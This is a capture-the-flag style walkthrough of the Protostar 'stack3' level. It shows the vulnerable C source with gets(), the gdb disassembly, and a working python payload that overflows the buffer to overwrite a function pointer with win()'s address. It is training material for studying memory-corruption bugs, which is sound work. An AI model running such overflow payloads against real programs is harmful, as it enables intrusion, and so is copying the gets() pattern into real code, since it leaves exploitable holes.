protostar - stack 3

2 minute read

Lets check the file type of the binary,

$ file stack3
stack3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

Lets try running our binary,

$ ./stack3
monish
$ ./stack3
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
calling function pointer, jumping to 0x41414141
Segmentation fault

It seems like we need to redirect it to another function pointer

Lets view the source code for proper understanding,

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Here we need to overwrite the fp variable

Lets use our debugger to analyse our binary

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
0x08048438 <main+0>:	push   ebp
0x08048439 <main+1>:	mov    ebp,esp
0x0804843b <main+3>:	and    esp,0xfffffff0
0x0804843e <main+6>:	sub    esp,0x60
0x08048441 <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:	lea    eax,[esp+0x1c]
0x0804844d <main+21>:	mov    DWORD PTR [esp],eax
0x08048450 <main+24>:	call   0x8048330 <gets@plt>
0x08048455 <main+29>:	cmp    DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>:	je     0x8048477 <main+63>
0x0804845c <main+36>:	mov    eax,0x8048560
0x08048461 <main+41>:	mov    edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>:	mov    DWORD PTR [esp+0x4],edx
0x08048469 <main+49>:	mov    DWORD PTR [esp],eax
0x0804846c <main+52>:	call   0x8048350 <printf@plt>
0x08048471 <main+57>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:	call   eax
0x08048477 <main+63>:	leave
0x08048478 <main+64>:	ret
End of assembler dump.

Disassembling win(),

(gdb) disas win
Dump of assembler code for function win:
0x08048424 <win+0>:	push   ebp
0x08048425 <win+1>:	mov    ebp,esp
0x08048427 <win+3>:	sub    esp,0x18
0x0804842a <win+6>:	mov    DWORD PTR [esp],0x8048540
0x08048431 <win+13>:	call   0x8048360 <puts@plt>
0x08048436 <win+18>:	leave
0x08048437 <win+19>:	ret
End of assembler dump.

Here fp and buffer is initialized by,

0x08048441 <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>:	lea    eax,[esp+0x1c]

To overwrite fp we need to find the space between fp and buffer

>>> print(0x5c-0x1c)
64

So we need 64 bytes of junk to reach fp

Lets overwrite it,

$ python -c "print('A'*64+'BBBB')" | ./stack3
calling function pointer, jumping to 0x42424242
Segmentation fault

We get segmentation fault, because there is no function pointed by the address 0x42424242

Lets replace it with the address of win(),

Address of win() is 0x08048424

Lets try our exploit,

$ python -c "print('A'*64+'\x24\x84\x04\x08')" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Done! we have completed “stack3”